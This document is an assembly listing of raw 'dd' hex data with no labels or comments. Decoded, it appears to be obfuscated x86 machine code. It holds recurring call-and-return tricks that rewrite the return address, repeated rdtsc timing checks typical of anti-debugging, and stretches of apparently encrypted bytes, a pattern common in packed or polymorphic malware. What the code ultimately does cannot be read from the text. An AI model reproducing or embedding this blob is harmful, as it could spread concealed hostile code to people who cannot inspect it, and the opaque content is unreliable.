		dd 894FD380h, 0DFBF0F06h, 0E3F064BBh, 19858B13h, 6A06A906h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5981C350h, 0FEB70F53h, 446895Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C2C35040h, 0B90B51C2h
		dd 0E38166FAh, 60968E95h, 73F5BB60h, 880F67F2h,	0
		dd 6144B561h, 0E8525050h, 0Ch, 53C03D11h, 6EA6E8Ah, 0AD10DBF2h
		dd 0F5F6160h, 5E931h, 14810000h, 5ACC1692h, 6A9658h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 89A5DAC3h, 0A91F35B5h, 0EAB5FF06h, 6A06ACADh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 508EC350h, 1201BD89h, 685B06A9h, 9A1D1985h, 0FE851h
		dd 1C7E0000h, 0E666BD3Dh, 3CF9CA4Fh, 0D9F132DAh, 815B5B85h
		dd 0EA7A2404h, 0BD8B6601h, 6A92E91h, 858D6160h,	6ACADF2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 63C35040h
		dd 8E907h, 79D60000h, 54184187h, 509071F2h, 60525057h
		dd 0E9310F61h, 14h, 88655983h, 430456C5h, 0FA729CA4h, 0F9DB615Ch
		dd 0DE08B43h, 905F585Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 8AC35242h, 193BACE5h,	0CB2B9FD4h, 28B0Fh
		dd 5F520000h, 0C7D9D8Bh, 95FF06A9h, 6A93579h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 79C35343h, 65BD8BC6h
		dd 6106A905h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	91C35141h, 0D5A5E59Dh, 529C8447h, 0D58D0167h, 0C706A904h
		dd 0A911CD85h, 306h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 665EC337h, 0BB7FDF81h
		dd 832AD380h, 0ACADF2BDh, 840F0006h, 31h, 11E8h, 0D4B22100h
		dd 4CAB04FEh, 913F1D6Ah, 7BDBBB07h, 8B66FD26h, 8D895FFAh
		dd 6A92875h, 27E9h, 6830F00h, 23000000h, 0A920299Dh, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8C35242h, 26B3923Fh
		dd 0BD83F88Bh, 6A911CDh, 0F6850F03h, 0E9000003h, 11h, 0DB12A062h
		dd 79658070h, 3C76F934h, 0F1AC7B89h, 0F2BD8333h, 6ACADh
		dd 3D3840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0E7B94EC3h, 668D7FFAh, 9D89FA8Bh
		dd 6A931E5h, 0ADF2B5FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 92A91C3h, 0FFFBB70Fh
		dd 0A90B5195h, 47BB6606h, 0E6B58B17h, 6A06ACADh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 5CFDC353h, 89C4BA72h, 0A931E58Dh, 106C706h, 6A000100h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 42BAC353h, 66D98BCBh, 0BF96F98Bh,	5C31529Eh
		dd 12E850h, 0C46A0000h,	43726728h, 9E2AF47Ah, 76641EFFh
		dd 425A55F1h, 6A965Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 398761C3h, 0F7AF260Dh, 81661BDAh
		dd 667810CBh, 0FF8E9EBBh, 0ACADF2B5h, 0D1858906h, 0FF06A91Ch
		dd 0A90EC595h, 8BF88B06h, 0ACADE6B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BB66BCCEh, 858BEB29h, 6A913BDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 3C35545h, 0C486891Eh, 8B000000h
		dd 0A92511BDh, 0CD958B06h, 6A06A916h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 49ABC357h
		dd 0BE8AB97h, 0C000000h, 75FB9A9Ch, 3D7B2818h, 0BF6698B2h
		dd 0F5B53C5h, 68Dh, 0CD9D8B00h,	8306A917h, 6A04C2h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 213E41C3h, 22706DBCh, 898FF4E5h, 6A2050h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 6526F3C3h
		dd 3238D34Fh, 0C1C3858Dh, 830F06ACh, 6,	0D0DB531h, 9D8B06A9h
		dd 6A93291h, 0B88689h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 13A3C6C3h, 3D39BBC6h
		dd 0BB661619h, 6AF3BFh,	5E9h, 784DE800h, 0B5FFADF7h, 6ACADF2h
		dd 0C9F38166h, 6995FFCBh, 6A06A906h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0EFA5C351h
		dd 0F50A0B3h, 783h, 0A0BB5300h,	5F6CC0F4h, 6A243489h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 7179C353h, 0C32E7DE4h, 0FFDAB387h, 0ACADF2B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 5A382B7Eh, 0C8995FFh, 860F06A9h, 2, 6160DE8Bh, 3319BD83h
		dd 0F0006A9h, 1084h, 0E498BF00h, 509661AAh, 90519BBFh
		dd 0F780967Fh, 0F2B5FF31h, 0F06ACADh, 282h, 0FFF88A00h
		dd 0A9178595h, 0F2B5FF06h, 0F06ACADh, 68Ah, 0BD9D8B00h
		dd 0FF06A900h, 0A92A6195h, 0C3816606h, 0BD83D2D5h, 6A91E31h
		dd 60840F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5ACAC353h, 718D89C1h
		dd 8B06A929h, 0A9111185h, 10EB8106h, 0C63B476Ah, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 6E865C3h, 1D000000h,	2DBE5474h, 3FD3BBB1h, 0C75B5BE8h
		dd 0A902F185h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 75852983h, 8B06A91Ah
		dd 0A91DCD9Dh, 0F3D3E906h, 8166FFFFh, 8BC6AEE3h, 0DD9D8BC1h
		dd 8D06A910h, 0A9053585h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5756168Ch
		dd 732BBF09h, 10E9720Ah, 3E000000h, 5BA8461Bh, 0F2A69861h
		dd 0D5BC4BBh, 90A53140h, 0FA8B6660h, 28A0Fh, 71B50000h
		dd 0D88A5061h, 57006A90h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 1D9400E2h, 70C99B39h
		dd 6AF50D0Eh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0C293F10Ch, 0E419EB38h, 6AFBB70Fh
		dd 0C8F0F00h, 0F000000h, 683h, 299D0900h, 8D06A926h, 0AE11E285h
		dd 0B3CF8106h, 83037FE8h, 6A05C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 7C0383C3h, 50FA8BEFh
		dd 89FE8B66h, 5E82404h,	95000000h, 508F5D0Bh, 6A006A5Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 66DBC355h, 6A006A24h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 7CFCC350h
		dd 1CD99589h, 95FF06A9h, 6A92EA9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 8AC35343h, 0D4831CE4h, 0BBEDB7C9h
		dd 5F2F644Eh, 98DE8D8Dh, 0FB8B06ACh, 9D29D1FFh,	6A91429h
		dd 12ADBD83h, 0F0106A9h, 9685h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 1C2337C4h, 0A86B1790h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0F706A9C3h, 0F90C27Bh
		dd 684h, 959D8B00h, 6606A904h, 501717BFh, 6A240489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 4232C356h, 5E8F9h, 82160000h, 0FC011776h, 1585095Fh
		dd 0FF06A91Dh, 0A9066995h, 619D0306h, 0E906A90Eh, 0E0Dh
		dd 0E8h, 0ED815D00h, 6AE11ECh, 29C18589h, 0C38106A9h, 0F6B567Dh
		dd 8DF9D780h, 0AC8A5B85h, 0CF816606h, 60506FCDh, 61D68B66h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0B17FC353h, 9E2C931Bh,	0F1ABDC9h
		dd 285h, 64D3B700h, 35FFh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8166C8C3h
		dd 64BFD7D7h, 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B9241C3h, 0A91145BDh
		dd 0D85FF06h, 6A06A917h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 5C40C357h, 66E3A7E7h
		dd 0B4BDB81h, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 3A2194C3h, 0CF063123h, 1F019D89h
		dd 0BD8B06A9h, 6A90141h, 659B5FFh, 5E906A9h, 39000000h
		dd 1085AD40h, 34DD95FFh, 1BE906A9h, 31000001h, 0A9025985h
		dd 5300B006h, 5860Fh, 0A4BF0000h, 5B488F62h, 0E78170E6h
		dd 93DA1C7h, 816071E4h,	858ABCC7h, 81666177h, 3C4488F3h
		dd 0E7830F61h, 0F8000000h, 8BC8B60Fh, 0A934619Dh, 6BA06h
		dd 14E80000h, 0EB000000h, 0C649CF6h, 9C9BE62Ah,	2D126ADBh
		dd 26DB581Dh, 665E3C5Dh, 0B4EDF381h, 0A4E7815Fh, 8B6100E2h
		dd 1820FC1h, 0F8000000h, 8B04E8C1h, 0A921299Dh,	0E2F76606h
		dd 5E857h, 0CD360000h, 8B9AB237h, 0A91271BDh, 2B5B5B06h
		dd 0B4BB66C8h, 60D18BF0h, 2CD8589h, 860F06A9h, 2, 0E9611BB4h
		dd 6Eh,	6F7DBF66h, 4E49858Bh, 95894400h, 6A922EDh, 2B07C083h
		dd 0A902BDBDh, 0C08306h, 0D91CEB81h, 0D03B51C0h, 10830Fh
		dd 0B70F0000h, 35B589FFh, 0E906A921h, 36h, 8D8BD88Bh, 0FFFFFFFFh
		dd 98A0Fh, 810F0000h, 3, 83D88B66h, 840F01E1h, 16h, 0A6C2BF66h
		dd 0FFFFA583h, 89FEFFFFh, 4E4995h, 0E944h, 0B58D0000h
		dd 6AD90FFh, 6A58CB80h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0A6C9C9A2h, 0B58911D1h
		dd 6A91281h, 25119D8Bh,	95FF06A9h, 6A92D95h, 8BD8BF0Fh
		dd 0A90B699Dh, 0FC4B906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 6F2017C3h, 83AE3769h
		dd 9D8BFCE1h, 6A908DDh,	52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 1D73FD89h, 4C9C5ECEh
		dd 16EF8185h, 0B847B41Fh, 0
		dd 16820Fh, 0F600000h, 0BE8DFB7h, 0CB000000h, 2C900B02h
		dd 0C3F21EE5h, 615B8F2Bh, 8B66D22Bh, 0C233ADF8h, 0D003E8D1h
		dd 7504E983h, 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 92D253A8h, 6A0F5514h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 83AAC350h
		dd 8D8960CAh, 6A93505h,	1ECD8D8Bh, 0B6106A9h, 0A922F9BDh
		dd 7DBD8906h, 0D06A922h, 88h, 263D8589h, 8BF806A9h, 0A916CD95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CB94468Fh, 4F9C4F68h, 8B66B9A0h, 8D8BF8DEh
		dd 6A90CE5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0E7C35141h, 0B287548Bh,	860F6ECAh, 8, 28C0Fh, 0B9B30000h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD0BFCC3h, 6A908F5h, 2F59D8Bh, 0BD8306A9h, 6A933C9h
		dd 59840F00h, 0B8000000h, 0
		dd 28C18589h, 8D8D06A9h, 6A94DC0h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 95C35343h, 6AE1FFh,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E1B86C3h, 0FCAF6546h, 8BC088CAh, 0F8B70FFAh, 11CDBD83h
		dd 0F0006A9h, 4B784h, 919D8B00h, 8306A928h, 0A911CDBDh
		dd 840F0106h, 4BFh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 60C35141h, 0EF80BA67h, 11E91Eh, 71800000h
		dd 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh, 836722EAh, 0A911CDBDh
		dd 860F0306h, 445h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 9BC35343h, 0FE54348Eh, 8B606584h, 0D98C66D8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F3C35747h
		dd 223B3FA7h, 8054C64Eh, 6A04E1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 17FA4FC3h, 0B5898715h
		dd 6A907E1h, 840FC90Ah,	1B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 77C35343h, 0C17F1EC8h, 36EF8166h
		dd 2BBF66E1h, 19858B67h, 6A06A906h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B2C2C350h
		dd 13B7D137h, 31F98533h, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD8BC8C3h, 6A9256Dh
		dd 14358531h, 0F5006A9h, 28Dh, 89F98A00h, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0A8222C3h, 3C825468h, 81D95E15h, 1B4966EBh, 0ADB58948h
		dd 6A06A92Eh, 3840F00h,	0F000000h, 4E8FBB7h, 0FF000000h
		dd 0B7001F03h, 0DE8B50BFh, 424448Bh, 60535250h,	310F5B61h
		dd 17F973BFh, 8B585A38h, 0F525000h, 13E96031h, 35000000h
		dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 0FE6E1634h,	14E90EFEh
		dd 83000000h, 2D04A8C9h, 1417730Fh, 600D7BD8h, 4424ACh
		dd 610EEAA6h, 4489585Ah, 52500424h, 5B7339BFh, 0B7310F78h
		dd 58585ABDh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0A5C35242h, 0E65AB1BCh,	0CAB3658Bh, 357995FFh
		dd 6A06A9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0EE6635C3h, 0BDA29BFCh, 89F57DA5h, 0ACADF285h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 29C75024h, 0A90C7DB5h, 1CAE906h,	0EB810000h
		dd 15A2ED07h, 0ADEA858Bh, 958906ACh, 6A912E1h, 1800C7h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0A6C8AFC3h, 0E9850122h, 8B06A92Ch, 0ACADEEB5h
		dd 12E906h, 0D73A0000h,	237C170Bh, 269493h, 99B7B328h
		dd 15F8D9BAh, 32BD858Bh, 830F06A9h, 0Fh, 0AE9h,	99BE2800h
		dd 7B769E23h, 89C54373h, 798D8906h, 8B06A903h, 0A9061985h
		dd 65B58906h, 8906A929h, 6A0446h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0C7FDB5C3h, 7C8C66Ah
		dd 0FE8B66B8h, 60CCBF96h, 96501DFCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0EDC35343h,	0FBB70F34h, 0ADEAB5FFh
		dd 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0AED16DC3h, 0FD49B9Eh, 0C68FEBFh,	0E836EAC5h
		dd 0Dh,	39895A02h, 0A99BD9EFh, 0A4AD790Ch, 616060D6h, 0DE9h
		dd 9BC0B500h, 8E149D26h, 24B5D41Fh, 5F61142Fh, 0F3243481h
		dd 8B36F5C6h, 0A922F1BDh, 0F2858D06h, 6A06ACADh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 2393C355h, 0A92C559Dh, 0DF8B6606h, 24048950h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 71C35545h, 3457DB07h
		dd 1E398D29h, 0EDBF06A9h, 0FF144BC3h, 0A9357995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 9A11AA50h, 1CC98D89h, 9D8B06A9h, 6A9039Dh, 5FF95161h
		dd 11CD85C7h, 306A9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0C5A840C3h, 93E45FB6h
		dd 0BD836247h, 6ACADF2h, 0E840F00h, 0BF000000h,	62084DC9h
		dd 1FE9h, 0D5BF6600h, 0C305031h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 6A5F51h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 602C7DC3h
		dd 0CE914D5h, 8B000000h, 0DA57D1D4h, 1501B5FBh,	83D8AFC1h
		dd 0A911CDBDh, 850F0306h, 42Ah,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 1C35343h, 0D05A5310h, 6830Fh
		dd 9D8B0000h, 6A925BDh,	0ADF2BD83h, 0F0006ACh, 3F184h
		dd 0B5FFF900h, 6ACADF2h, 0BE9h,	0EEDD6100h, 4864A829h
		dd 0CEF08732h, 0B5195FFh, 6A06A9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5940A5C3h, 3F5443F4h
		dd 1F718589h, 0B58B06A9h, 6ACADE6h, 14159D8Bh, 6C706A9h
		dd 10001h, 0CA59D29h, 8A9606A9h, 8B6650F8h, 6A96FEh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0B5FF67C3h, 6ACADF2h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 97C35545h, 64E0AC5Ch,	0EC595FFh, 8B6006A9h
		dd 0A92CE9B5h, 55BE6606h, 0B58B61C2h, 6ACADE6h,	13BD858Bh
		dd 0BD8B06A9h, 6A9331Dh, 0C48689h, 0BE90000h, 62000000h
		dd 0FD1C3EA2h, 1A520168h, 958B86A2h, 6A916CDh, 6519D8Bh
		dd 0B50106A9h, 6A90931h, 6A04C283h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4659C351h
		dd 878A624Eh, 0FA174D8h, 5089FFBFh, 50006A20h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 75820F36h
		dd 0F5DD6899h, 0C1C3858Dh, 335606ACh, 0A92519BDh, 86895F06h
		dd 0B8h, 0CFCADF81h, 6A438Ah, 0FFFE8B66h, 0ACADF2B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C466FBBDh, 6695DC24h, 0CA63CF81h, 66995FFh,	6A06A9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 121E85C3h, 0DC3C7B79h, 6005C44Dh, 9D8960FCh,	6A9114Dh
		dd 17F68166h, 506161EDh, 54B75250h, 5250310Fh, 0FA8B310Fh
		dd 585A585Ah, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5D4EC353h, 168F0Fh
		dd 810F0000h, 10h, 0BE9h, 0DA9AD500h, 5BAF5AA0h, 5F8C9D4Eh
		dd 0ADF2B5FFh, 7E806ACh, 8E000000h, 8F8592FDh, 0CE9EF88h
		dd 0F000000h, 0C43CC39Dh, 6C2C298Ah
		dd 5B5E4669h, 0C8995FFh, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 34EA9C3h, 4CB9E559h
		dd 19BD8390h, 6A933h, 4D840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0CACCC1C3h
		dd 800F6096h, 3, 61D88B66h, 8E96050h, 7B000000h, 2FF5896Eh
		dd 505475DFh, 50310F52h, 5A310F52h, 61585A58h, 39858996h
		dd 0FF06A905h, 0ACADF2B5h, 0DBC7BF06h, 95FF7C43h, 6A91785h
		dd 1219D29h, 852906A9h,	6A92365h, 0ADF2B5FFh, 6A06ACh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5D4EFC3h, 8C58BA60h,	0FF617052h, 0A92A6195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 837FCCC4h, 0A91E31BDh, 840F0206h, 74h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 38C35747h, 0F93E49F0h
		dd 79289608h, 0C7816691h, 858B5C23h, 6A91111h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D2C35545h, 0C618h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ACC35040h
		dd 661E529Dh, 0FD6C381h, 2F185C7h, 6A9h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0C3E0A1C3h, 0A6CA7A51h, 0B5896D5Ch, 6A90621h, 0DE9h
		dd 106B7F00h, 16199D1Dh, 0CB76AE39h, 0F1E99832h, 0F8FFFFF2h
		dd 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0BC75B7C3h, 1EADBB61h, 35858D8Ah,	6A06A905h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 616BC352h, 0B5FFBF48h, 0BB663F15h, 0F50E432h
		dd 288h, 89D88B00h, 81662404h, 0E8D344CFh, 8, 0DF596D07h
		dd 5DFCD87Fh, 2A859589h, 6A5B06A9h, 0E59D8900h,	6606A910h
		dd 6AFE8Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ch,	3AC35646h, 77858A78h, 7BEF2BE3h, 9E8h, 0D050B700h
		dd 879AE082h, 81663028h, 5BBC65E7h, 220D858Dh, 6A06AEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 97871FC3h, 248B9729h, 8E935h, 9FE0000h, 1414D3ABh, 0C083C6A7h
		dd 0DBD8905h, 9006A923h, 12E8h,	6B1D7E00h, 25D9D1FEh, 0DB08A46Fh
		dd 37607E76h, 0E9E6D7EFh, 7, 0EC35166Dh, 5B3AFE92h, 905B5050h
		dd 6AD88Bh, 1ECB8166h, 6A006A16h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 898CC355h
		dd 0A9347995h, 0A995FF06h, 6606A92Eh, 8D195BBFh, 0AC98DE8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0CD9D8B61h, 8906A91Dh, 0A90D61B5h, 66D1FF06h
		dd 8B3DB81h, 12ADBD83h,	0F0106A9h, 0A185h, 9D035100h, 6A93311h
		dd 6A026A5Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 139EC350h, 8E0FFC53h, 2, 5050DC8Ah
		dd 0F5F5352h, 60525031h, 50310F61h, 5A310F52h, 5A585A58h
		dd 24048958h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	68C35747h, 3820Fh, 0BF0F0000h, 0F9BD2BD8h, 0FF06A90Fh
		dd 0A9066995h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 8D24A331h, 807A8894h
		dd 0E1E974EFh, 0E800000Dh, 0
		dd 17ED815Dh, 8B06AE22h, 0A90D399Dh, 13E906h, 0E4340000h
		dd 602ADE16h, 107AD723h, 8800C672h, 6F4BA896h, 5B858D2Ah
		dd 6A06AC8Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CADAC351h, 7DBD8986h,	9006A923h
		dd 6650DA8Ah, 90914BBBh, 0BE8h,	0F1C57500h, 8C385D4Ah
		dd 0D8E3F668h, 0CB81665Bh, 0FF64EAEBh, 35h, 8964FC00h
		dd 25h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1A04h, 0C3554500h, 8D741473h, 0FF5389E4h, 0A9170D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0C59E90CDh, 0BC1602ECh, 1CD18589h, 8B6006A9h
		dd 0A9014DB5h, 4DBD2906h, 6106A934h, 6AFF6Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0DE4A48C3h
		dd 0F7B22B6h, 20BFECF1h, 0FF3BAF9Ah, 0A92409B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8BD8F6h, 6A91045h, 34DD95FFh, 0AE906A9h, 89000001h
		dd 0A925F9BDh, 0E2F38106h, 0B0599D6Bh, 819D3100h, 0E606A90Ch
		dd 6071E470h, 0FCF8B66h, 287h, 61D68B00h, 830F613Ch, 0DDh
		dd 10E8h, 41D8100h, 468BA980h, 214F2318h, 0D3BC7F63h, 85896017h
		dd 6A91A91h, 5B616160h,	29C8B60Fh, 0A9116595h, 6BA06h
		dd 9E90000h, 9E000000h,	4EB8CDF1h, 6953755Ch, 0B501C18Bh
		dd 6A933A1h, 0C1D8BF0Fh, 0B58904E8h, 6A90819h, 80E2F766h
		dd 0C82BE2DFh, 207DBD8Bh, 0D18B06A9h, 2D999589h, 0B58906A9h
		dd 6A93455h, 6CE9h, 43CF8000h, 4C4C858Bh, 0DC8A505Fh, 4CCEBB66h
		dd 2307C083h, 0A923899Dh, 0C08306h, 0BD8BD98Bh,	6A9167Dh
		dd 830FD03Bh, 0Fh, 0FA80BB66h, 38E9h, 58D2900h,	8B06A935h
		dd 0FFFFFF8Dh, 0DEBF0FFFh, 0F01E183h, 2084h, 83FB8B00h
		dd 0FFFFFFA5h, 0BD8BFEFFh, 6A907EDh, 4C4C9589h,	9D8B505Fh
		dd 6A934A1h, 0E9h, 0C3B58D00h, 2B06ADA0h, 0A929899Dh, 6A006A06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0B5F7C355h, 8B1A0DE5h, 0A932399Dh, 0B99D8B06h
		dd 0FF06A91Ch, 0A92D9595h, 0CE806h, 0A130000h, 0D36F01Fh
		dd 282548EDh, 8057F0FEh, 5B5F2ADBh, 0FA6B9h, 0FCE18300h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 94C35040h
		dd 3335BD8Bh, 0BD8B06A9h, 6A902B9h, 57006AFCh, 3E8h, 0C35F2000h
